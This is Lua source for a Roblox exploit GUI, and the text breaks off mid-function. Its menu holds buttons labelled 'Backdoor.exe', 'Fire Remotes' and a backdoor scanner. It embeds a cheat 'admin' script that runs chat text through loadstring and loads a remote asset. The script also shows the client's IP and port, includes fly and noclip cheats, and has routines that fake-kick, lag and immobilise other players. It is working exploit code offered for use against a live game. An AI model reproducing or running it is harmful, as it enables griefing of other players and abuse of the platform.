G2L["118"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["118"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["118"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["118"]["Name"] = [[Section1]];
-- StarterGui.CoolGui.Frame.Page6.Section1.SectionTitle
G2L["119"] = Instance.new("TextLabel", G2L["118"]);
G2L["119"]["BorderSizePixel"] = 3;
G2L["119"]["TextSize"] = 14;
G2L["119"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["119"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["119"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["119"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["119"]["Text"] = [[Remotes]];
G2L["119"]["Name"] = [[SectionTitle]];
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11a"] = Instance.new("TextButton", G2L["118"]);
G2L["11a"]["TextWrapped"] = true;
G2L["11a"]["BorderSizePixel"] = 3;
G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["TextSize"] = 14;
G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11a"]["Name"] = [[Button]];
G2L["11a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11a"]["Text"] = [[FraktureSS]];
G2L["11a"]["Position"] = UDim2.new(0, 0, 0, 33);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11b"] = Instance.new("LocalScript", G2L["11a"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11c"] = Instance.new("TextButton", G2L["118"]);
G2L["11c"]["BorderSizePixel"] = 3;
G2L["11c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11c"]["TextSize"] = 14;
G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11c"]["Name"] = [[Button]];
G2L["11c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11c"]["Text"] = [[Harked Reborn]];
G2L["11c"]["Position"] = UDim2.new(0, 0, 0, 66);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11d"] = Instance.new("LocalScript", G2L["11c"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["11e"] = Instance.new("TextButton", G2L["118"]);
G2L["11e"]["BorderSizePixel"] = 3;
G2L["11e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11e"]["TextSize"] = 14;
G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["11e"]["Name"] = [[Button]];
G2L["11e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["11e"]["Text"] = [[Fire Remotes]];
G2L["11e"]["Position"] = UDim2.new(0, 0, 0, 99);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["11f"] = Instance.new("LocalScript", G2L["11e"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["120"] = Instance.new("TextButton", G2L["118"]);
G2L["120"]["TextWrapped"] = true;
G2L["120"]["BorderSizePixel"] = 3;
G2L["120"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["120"]["TextSize"] = 14;
G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["120"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["120"]["Size"] = UDim2.new(0.475, 0, 0, 30);
G2L["120"]["Name"] = [[Button]];
G2L["120"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["120"]["Text"] = [[Backdoor.exe]];
G2L["120"]["Position"] = UDim2.new(0, 0, 0, 132);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["121"] = Instance.new("LocalScript", G2L["120"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["122"] = Instance.new("TextButton", G2L["118"]);
G2L["122"]["BorderSizePixel"] = 3;
G2L["122"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["122"]["TextSize"] = 14;
G2L["122"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["122"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["122"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["122"]["Name"] = [[Button]];
G2L["122"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["122"]["Text"] = [[Comet]];
G2L["122"]["Position"] = UDim2.new(0, 73, 0, 66);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["123"] = Instance.new("LocalScript", G2L["122"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["124"] = Instance.new("TextButton", G2L["118"]);
G2L["124"]["TextWrapped"] = true;
G2L["124"]["BorderSizePixel"] = 3;
G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["TextSize"] = 14;
G2L["124"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["124"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["124"]["Name"] = [[Button]];
G2L["124"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["124"]["Text"] = [[LALOL Backdoor Scanner]];
G2L["124"]["Position"] = UDim2.new(0, 73, 0, 99);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["125"] = Instance.new("LocalScript", G2L["124"]);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button
G2L["126"] = Instance.new("TextButton", G2L["118"]);
G2L["126"]["TextWrapped"] = true;
G2L["126"]["BorderSizePixel"] = 3;
G2L["126"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["126"]["TextSize"] = 14;
G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["126"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["126"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["126"]["Name"] = [[Button]];
G2L["126"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["126"]["Text"] = [[QuirkyCMD]];
G2L["126"]["Position"] = UDim2.new(0, 73, 0, 33);
-- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript
G2L["127"] = Instance.new("LocalScript", G2L["126"]);
-- StarterGui.CoolGui.CloseOpen
G2L["128"] = Instance.new("TextButton", G2L["1"]);
G2L["128"]["BorderSizePixel"] = 3;
G2L["128"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["128"]["TextSize"] = 18;
G2L["128"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["128"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["128"]["ZIndex"] = 3;
G2L["128"]["Size"] = UDim2.new(0, 300, 0, 20);
G2L["128"]["Name"] = [[CloseOpen]];
G2L["128"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["128"]["Text"] = [[Close]];
G2L["128"]["Position"] = UDim2.new(0, 3, 0.3, 380);
-- StarterGui.CoolGui.CloseOpen.cope
G2L["129"] = Instance.new("LocalScript", G2L["128"]);
G2L["129"]["Name"] = [[cope]];
-- StarterGui.CoolGui.Frame.left.LocalScript
local function C_5()
local script = G2L["5"];
local button = script.Parent
button.MouseButton1Down:connect(function()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = true
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = true
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page3.Visible == true then
script.Parent.Parent.Page2.Visible = true
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page4.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = true
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page5.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = true
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page6.Visible = false
elseif script.Parent.Parent.Page6.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = true
script.Parent.Parent.Page6.Visible = false
end
end)
end;
task.spawn(C_5);
-- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript
local function C_b()
local script = G2L["b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- / Rocky2u's Command Script 2016
-- / ROBLOX | SethMilkman
-- / V3RMILLION | Rocky2u
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
-- / pls no looking
wait(1)
function getRoot(char)
local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso')
return rootPart
end
local ADMINS = {}
local KICKS = {}
local BANS = {21799524, 133122258, 103000855, 17278822, 149137060, 61967286, 21640881}
-- / stuff
local VERSION = '1.7.3 (fixed by rindotekame_)'
local PATCH = '08'
local UPDATED = '31/10/2024'
local CHANGES = [[
/ added alot of fe commands
/ more coming soon
]]
function _G.ADD_ADMIN(ID) table.insert(ADMINS, ID) end
function _G.ADD_BAN(ID) table.insert(BANS, ID) end
local CHANGELOG = ' UPDATED : ' .. UPDATED .. '\n VERSION : ' .. VERSION .. ' ' .. PATCH .. '\n\n [ ' .. VERSION .. ' ] \n' .. CHANGES
local gCoreGui = game:GetService('CoreGui')
local gInsertService = game:GetService('InsertService')
local gLighting = game:GetService('Lighting')
local gNetworkClient = game:GetService('NetworkClient')
local gPlayers = game:GetService('Players')
local gWorkspace = game:GetService('Workspace')
local LP = gPlayers.LocalPlayer
local MOUSE = LP:GetMouse()
local SERVICES = {}
local COMMANDS = {}
local STD = {}
SERVICES.EVENTS = {}
local C_PREFIX = '$'
local S_PREFIX = '\\'
local SPLIT = ' '
for i,v in pairs(gCoreGui:GetChildren()) do if v.Name == 'cmdbar_seth' or v.Name == 'notify_seth' then v:destroy() end end
function UPDATE_CHAT(PLAYER) local C = PLAYER.Chatted:connect(function(M) if CHECK_ADMIN(PLAYER) then DEXECUTE(M, PLAYER) end end) table.insert(SERVICES.EVENTS, C) end
STD.TABLE = function(T, V) if not T then return false end for i,v in pairs(T) do if v == V then return true end end return false end
STD.ENDAT = function(S, V) local SF = S:find(V) if SF then return S:sub(0, SF - string.len(V)), true else return S, false end end
function CHECK_ADMIN(PLAYER) if FIND_IN_TABLE(ADMINS, PLAYER.userId) then return true elseif PLAYER.userId == LP.userId then return true end end
function EXECUTE(STRING) spawn(function() local S, L = loadstring(STRING) if not S then error(L) else S() end end) end
function FCOMMAND(COMMAND) for i,v in pairs(COMMANDS) do if v.N:lower() == COMMAND:lower() or STD.TABLE(v.A, COMMAND:lower()) then return v end end end
function GCOMMAND(M) local CMD, HS = STD.ENDAT(M:lower(), SPLIT) if HS then return {CMD, true} else return {CMD, false} end end
function GPREFIX(STRING) if STRING:sub(1, string.len(C_PREFIX)) == C_PREFIX then return {'COMMAND', string.len(C_PREFIX) + 1} elseif STRING:sub(1, string.len(S_PREFIX)) == S_PREFIX then return {'EXECUTE', string.len(S_PREFIX) + 1} end return end
function GARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S:lower(), SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
function GCAPARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S, SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
function ECOMMAND(STRING, SPEAKER) repeat if STRING:find(' ') then STRING = STRING:gsub(' ', ' ') end until not STRING:find(' ') local SCMD, A, CMD SCMD = GCOMMAND(STRING) CMD = FCOMMAND(SCMD[1]) if not CMD then return end A = STRING:sub(string.len(SCMD[1]) + string.len(SPLIT) + 1) local ARGS = GARGS(A) CA = GCAPARGS(A) pcall(function() CMD.F(ARGS, SPEAKER) end) end
function DEXECUTE(STRING, SPEAKER) if not CHECK_ADMIN(SPEAKER) then return end STRING = STRING:gsub('/e ', '') local GP = GPREFIX(STRING) if not GP then return end STRING = STRING:sub(GP[2]) if GP[1] == 'EXECUTE' then EXECUTE(STRING) elseif GP[1] == 'COMMAND' then ECOMMAND(STRING, SPEAKER) end end naga = {SethMilkman = true, ['11_eyes'] = true, lahphnya = true, LuaStateV = true, relesia = true, winteright = true}
_G.cmd_seth = ECOMMAND
SERVER_LOCKED = false
gPlayers.PlayerAdded:connect(function(PLAYER)
if SERVER_LOCKED then PLAYER.CharacterAdded:connect(function() wait() table.insert(KICKS, PLAYER) return end) end
if FIND_IN_TABLE(BANS, PLAYER.userId) then PLAYER.CharacterAdded:connect(function() wait() table.insert(KICKS, PLAYER) return end) end
UPDATE_CHAT(PLAYER)
if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function() wait() game.Chat:Chat(PLAYER.Character.Head, printStuff .. 'Welcome, you\'re an admin!') end) end
end)
function ADD_COMMAND(N, D, A, F) table.insert(COMMANDS, {N = N, D = D, A = A, F = F}) end
function GET_PLAYER(NAME, SPEAKER)
local NAME_TABLE = {}
NAME = NAME:lower()
if NAME == 'me' then
table.insert(NAME_TABLE, SPEAKER.Name)
elseif NAME == 'others' then
for i,v in pairs(gPlayers:GetPlayers()) do if v:IsA('Player') then if v.Name ~= SPEAKER.Name then table.insert(NAME_TABLE, v.Name) end end end
elseif NAME == 'all' then
for i,v in pairs(gPlayers:GetPlayers()) do if v:IsA('Player') then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'random' then
table.insert(NAME_TABLE, gPlayers:GetPlayers()[math.random(1, #gPlayers:GetPlayers())].Name)
elseif NAME == 'team' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.TeamColor == SPEAKER.TeamColor then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonadmins' then
for i,v in pairs(gPlayers:GetPlayers()) do if not CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'admins' then
for i,v in pairs(gPlayers:GetPlayers()) do if CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonfriends' then
for i,v in pairs(gPlayers:GetPlayers()) do if not v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'friends' then
for i,v in pairs(gPlayers:GetPlayers()) do if v ~= SPEAKER and v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonguests' then
for i,v in pairs(gPlayers:GetPlayers()) do if not v.Guest then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'guests' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.Guest then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nbcs' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.None then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'bcs' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.BuildersClub then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'tbcs' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.TurboBuildersClub then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'obcs' then
for i,v in pairs(gPlayers:GetPlayers()) do if v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then table.insert(NAME_TABLE, v.Name) end end
else
for i,v in pairs(gPlayers:GetPlayers()) do local L_NAME = v.Name:lower() local F = L_NAME:find(NAME) if F == 1 then table.insert(NAME_TABLE, v.Name) end end
end
if not naga[SPEAKER.Name] then for i,v in pairs(NAME_TABLE) do if naga[v] then table.remove(NAME_TABLE, i) end end end
return NAME_TABLE
end
function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER then return AA else return string.lower(AA) end end
-- / tables
local JAILED = {}
-- / stuff
printStuff = '[ Rocky Admin Classic CMDs ] : '
local DATA = game:GetObjects('rbxassetid://291592144')[1]
_G.seth_data = DATA
local CMDbar = DATA.guis.cmdbar_seth.CMDbar CMDbar.Parent.Parent = gCoreGui
local being_looped = DATA.being_looped
wait()
local NOCLIP, JESUSFLY, SWIM = false, false, false
spawn(function() while wait() do
if NOCLIP then
if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(11) end
elseif JESUSFLY then
if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(12) end
elseif SWIM then
if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(4) end
end
spawn(function() while wait() do for i,v in pairs(gPlayers:GetPlayers()) do if FIND_IN_TABLE(KICKS, v) then KICK(v) end end end end)
end end)
function FIND_IN_TABLE(TABLE, NAME)
for i,v in pairs(TABLE) do
if v == NAME then
return true
end
end
return false
end
function GET_IN_TABLE(TABLE, NAME)
for i = 1, #TABLE do
if TABLE[i] == NAME then
return i
end
end
return false
end
local NOTIFY_1 = false
local NOTIFY_2 = false
function NOTIFY(M, R, G, B)
spawn(function()
repeat wait() until not NOTIFY_1
local NOTIFY_SETH = DATA.guis.notify_seth:Clone() NOTIFY_SETH.Parent = gCoreGui
if NOTIFY_SETH then
NOTIFY_SETH.NOTIFY.NOTE.BAR.BackgroundColor3 = Color3.new(R, G, B)
NOTIFY_SETH.NOTIFY.NOTE.Text = ' ' .. M
repeat wait() until not NOTIFY_1
NOTIFY_1 = true
wait(0.5)
NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.7, 0), 'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
repeat wait() until not NOTIFY_2
NOTIFY_1 = false
NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, 0, 0.7, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
NOTIFY_2 = true
wait(2.5)
NOTIFY_SETH.NOTIFY:TweenPosition(UDim2.new(0, -225, 0.7, -40), 'InOut', 'Quad', 0.4, false) wait(0.5)
end
wait(1)
NOTIFY_SETH:destroy()
NOTIFY_2 = false
end)
end
function LOAD_SETH()
spawn(function()
local load_seth = DATA.guis.loader_seth:Clone() load_seth.Parent = gCoreGui
load_seth.MAIN:TweenSizeAndPosition(UDim2.new(0, 300, 0, 200), UDim2.new(0.5, -150, 0.5, -100), 'Out', 'Quad', 0.5, false) wait(0.5)
load_seth.MAIN.TEXT.Text = 'Rocky Script Classic'
repeat wait() load_seth.MAIN.TEXT.TextTransparency = load_seth.MAIN.TEXT.TextTransparency - 0.1 until load_seth.MAIN.TEXT.TextTransparency < 0 wait(1)
if not gWorkspace.FilteringEnabled then load_seth.MAIN.FE.Text = ' Filtering is disabled' elseif gWorkspace.FilteringEnabled then load_seth.MAIN.FE.Text = ' Filtering is ENABLED' end load_seth.MAIN.FE.TextTransparency = 0 wait(1)
load_seth.MAIN.COMMANDS.Text = ' ' .. #COMMANDS .. ' commands!' load_seth.MAIN.COMMANDS.TextTransparency = 0 wait(1)
load_seth.MAIN.WELCOME.Text = ' Welcome, ' .. LP.Name load_seth.MAIN.WELCOME.TextTransparency = 0 wait(1)
load_seth.MAIN.C.Text = 'Rockys Admin 2016' load_seth.MAIN.C.TextTransparency = 0 wait(5)
for i,v in pairs(load_seth.MAIN:GetChildren()) do if v:IsA('TextLabel')and v.Name ~= 'TEXT' then v.TextTransparency = 1 end end wait()
repeat wait() load_seth.MAIN.TEXT.TextTransparency = load_seth.MAIN.TEXT.TextTransparency + 0.1 until load_seth.MAIN.TEXT.TextTransparency == 1
load_seth.MAIN:TweenSizeAndPosition(UDim2.new(0, 0, 0, 0), UDim2.new(0.5, 0, 0.5, 0), 'Out', 'Quad', 0.5)
wait(1)
load_seth.MAIN:destroy()
end)
end
local S_INFO = false
function SERVER_INFO()
if not S_INFO then
spawn(function()
S_INFO = true
local server_seth = DATA.guis.server_seth:Clone() server_seth.Parent = gCoreGui
if not gWorkspace.FilteringEnabled then server_seth.MAIN.FE.Text = ' FilteringEnabled | false' elseif gWorkspace.FilteringEnabled then server_seth.MAIN.FE.Text = ' FilteringEnabled | true' end
server_seth.MAIN.IP.Text = ' IP Address | ' .. gNetworkClient.ClientReplicator.MachineAddress .. ':' .. gNetworkClient.ClientReplicator.Port
server_seth.MAIN.PLACE_ID.Text = ' PlaceId | ' .. game.PlaceId
server_seth.MAIN.EXIT.MouseButton1Down:connect(function() S_INFO = false server_seth:destroy() end)
while S_INFO do
server_seth.MAIN.PLAYERS.Text = ' Players | ' .. gPlayers.NumPlayers .. ' / ' .. gPlayers.MaxPlayers
server_seth.MAIN.TIME.Text = ' Time | ' .. gLighting.TimeOfDay
wait()
end
end)
end
end
function KICK(P)
spawn(function()
if P.Character and P.Character:FindFirstChild('HumanoidRootPart') and P.Character:FindFirstChild('Torso') then
P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat wait()
if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end
until not gPlayers:FindFirstChild(P.Name)
end)
P.Character.Torso.Anchored = true
end
end)
end
gPlayers.PlayerRemoving:connect(function(P)
if FIND_IN_TABLE(KICKS, P) then
for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end end
NOTIFY('KICKED ' .. P.Name, 255, 255, 255)
end
end)
function FIX_LIGHTING()
gLighting.Ambient = Color3.new(0.5, 0.5, 0.5)
gLighting.Brightness = 1
gLighting.GlobalShadows = true
gLighting.Outlines = false
gLighting.TimeOfDay = 14
gLighting.FogEnd = 100000
end
function MESSAGE_HINT(TYPE, HEADER, MESSAGE, PLAYER)
local BV = Instance.new('BoolValue', DATA.messages_hints) BV.Name = PLAYER.Name .. '_MSG_HINT'
local SPRAY = gInsertService:LoadAsset(80576967)
local S = SPRAY.Spray:Clone() S.Name = '' S.Handle.Transparency = 1 S.SprayGui:destroy() S.SprayPaint:destroy() S.TextureId = ''
if TYPE == 'MESSAGE' then
local GUI = DATA.guis.message_seth:Clone() GUI.HINT:destroy() GUI.Name = 'SprayGui' GUI.MESSAGE.header.Text = HEADER GUI.MESSAGE.message.Text = MESSAGE GUI.MESSAGE.Visible = true GUI.Parent = S
elseif TYPE == 'HINT' then
local GUI = DATA.guis.message_seth:Clone() GUI.MESSAGE:destroy() GUI.Name = 'SprayGui' GUI.HINT.Text = MESSAGE GUI.HINT.Visible = true GUI.Parent = S
end
for i = 1, 100 do
wait()
PLAYER.Character.Humanoid:EquipTool(S)
end
PLAYER.Character.Humanoid:UnequipTools()
S:destroy() wait() BV:destroy()
end
function COLOR(PLAYER, BCOLOR)
for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end
for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal') then v:destroy() end end
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new(BCOLOR)
elseif v:IsA('Hat') then
v.Handle.BrickColor = BrickColor.new(BCOLOR)
for a,b in pairs(v.Handle:GetChildren()) do
if b:IsA('SpecialMesh') then
b.TextureId = ''
end
end
end
end
end
function LAG(PLAYER)
local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000, 100000), math.random(-100000, 100000))
spawn(function()
repeat wait()
if PLAYER and PLAYER.Character then
PLAYER.CameraMode = 'LockFirstPerson'
PLAYER.Character.HumanoidRootPart.CFrame = POS
PLAYER.Character.Torso.Anchored = true
Instance.new('ForceField', PLAYER.Character)
Instance.new('Smoke', PLAYER.Character.Head)
end
until not gPlayers:FindFirstChild(PLAYER.Name)
end)
end
local FLYING = false
if LP.Character and LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid.Died:connect(function() FLYING = false end)
end
function sFLY()
repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid')
repeat wait() until MOUSE
local T = LP.Character.Torso
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = 0
local function FLY()
FLYING = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
LP.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((gWorkspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((gWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - gWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
BV.velocity = ((gWorkspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((gWorkspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - gWorkspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = gWorkspace.CurrentCamera.CoordinateFrame
until not FLYING
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
LP.Character.Humanoid.PlatformStand = false
end)
end
MOUSE.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 1
elseif KEY:lower() == 's' then
CONTROL.B = -1
elseif KEY:lower() == 'a' then
CONTROL.L = -1
elseif KEY:lower() == 'd' then
CONTROL.R = 1
end
end)
MOUSE.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
FLY()
end
function NOFLY()
FLYING = false
LP.Character.Humanoid.PlatformStand = false
end
function RESET_MODEL(MODEL)
for i,v in pairs(MODEL:GetChildren()) do
